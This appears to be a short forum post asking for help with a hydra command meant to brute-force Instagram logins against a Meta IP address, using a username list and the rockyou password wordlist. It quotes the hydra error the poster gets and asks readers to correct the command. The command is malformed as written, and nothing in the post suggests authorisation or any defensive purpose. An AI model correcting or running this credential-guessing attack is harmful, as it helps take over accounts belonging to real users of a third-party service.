hydra brute force error keeps popping up

sudo hydra -L /users.txt -p /rockyou.txt -u -f 157.240.254.174 -s 443 http-post-form “/https://www.instagram.com:username=^USER^& enc_password=^PASS^:F=<from name=’LoginForm'”

from entering the text above I keep receiving the error “[ERROR] the variables argument needs at least the strings ^USER^, ^PASS^, ^USER64^ or ^PASS64^: //www.instagram.com”

can anyone correct this for me I’m lost